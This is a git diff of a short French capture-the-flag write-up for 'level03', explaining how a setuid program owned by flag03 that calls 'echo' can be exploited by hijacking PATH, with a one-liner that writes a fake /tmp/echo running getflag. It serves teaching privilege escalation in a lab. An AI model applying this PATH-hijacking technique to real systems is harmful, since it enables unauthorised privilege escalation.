diff --git a/level03/Ressources/solution b/level03/Ressources/solution index ed820bb..616dc69 100644 --- a/level03/Ressources/solution +++ b/level03/Ressources/solution @@ -2,11 +2,9 @@ On peut voir qu'il y a un executable level03 appartenant a flag03. Ce fichier execute: echo "Exploit me" on peut donc changer le PATH. Cree un fichier executable nomme echo dans /tmp qui execute getflag +On donne les droit d'execution au ficher -# /tmp/echo - -#!/bin/bash -getflag +$ echo -e '#!/bin/bash \x0a getflag' > /tmp/echo && chmod 777 /tmp/echo on execute level03 de cette maniere :